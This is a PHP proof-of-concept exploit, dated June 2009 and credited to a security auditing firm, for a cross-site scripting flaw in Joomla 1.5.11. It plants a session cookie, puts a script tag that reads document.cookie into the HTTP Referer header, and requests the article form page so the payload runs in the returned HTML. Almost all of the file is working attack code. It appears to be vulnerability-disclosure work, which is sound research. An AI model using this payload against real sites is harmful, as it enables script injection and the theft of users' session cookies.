/* PoC: XSS Joomla 1.5.11
   Juan Galiana Lara
   Internet Security Auditors
   Jun 2009
*/

/* config */
$site='localhost';
$path='/joomla-1.5.11';
$cookname='d85558a8cf943386aaa374896bfd3d99';
$cookvalue='4ab56fdd83bcad86289726aead602699';

class cURL {
  var $headers;
  var $user_agent;
  var $compression;
  var $cookie_file;
  var $proxy;
  /* evil script */
  var $xss='alert("PWN PWN PWN: " + document.cookie);';
 function
cURL($cookies=TRUE,$cookie='cookies.txt',$compression='gzip',$proxy='') {
    $this->headers[] = 'Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8';
    $this->headers[] = 'Connection: Keep-Alive';
    $this->headers[] = 'Content-type:
application/x-www-form-urlencoded;charset=UTF-8';
    $this->headers[] = 'Referer: "><script>' . $this->xss
.'</script><span a="';
    $this->user_agent = 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT
5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)';
    $this->compression=$compression;
    $this->proxy=$proxy;
    $this->cookies=$cookies;
    if ($this->cookies == TRUE) $this->cookie($cookie);
  }

  function cookie($cookie_file) {
    if (file_exists($cookie_file)) {
      $this->cookie_file=$cookie_file;
    } else {
      fopen($cookie_file,'w') or $this->error('The cookie file could
not be opened. Check permissions');
      $this->cookie_file=$cookie_file;
      fclose($this->cookie_file);
    }
  }

  function get($url) {
    $process = curl_init($url);
    curl_setopt($process, CURLOPT_HTTPHEADER, $this->headers);
    curl_setopt($process, CURLOPT_HEADER, 0);
    curl_setopt($process, CURLOPT_USERAGENT, $this->user_agent);
    if ($this->cookies == TRUE) curl_setopt($process,
CURLOPT_COOKIEFILE, $this->cookie_file);
    if ($this->cookies == TRUE) curl_setopt($process,
CURLOPT_COOKIEJAR, $this->cookie_file);
    curl_setopt($process,CURLOPT_ENCODING , $this->compression);
    curl_setopt($process, CURLOPT_TIMEOUT, 30);
    if ($this->proxy) curl_setopt($cUrl, CURLOPT_PROXY,
'proxy_ip:proxy_port');
    curl_setopt($process, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($process, CURLOPT_FOLLOWLOCATION, 1);
    $return = curl_exec($process);
    curl_close($process);
    return $return;
  }

  function error($error) {
    echo $error;
    die;
  }
}

 /* set cookie */
  $f=fopen("cookies.txt","w");
  fwrite($f,"localhost\tFALSE\t/\tFALSE\t0\t$cookname\t$cookvalue\n");
  fclose($f);

  /* do request */
  $cc = new cURL();
  $c=$cc->get('http://' . $site . $path .
'/index.php?option=com_content&view=article&layout=form');

  /* let's execute some javascript.. }:-)*/
  echo $c;
?>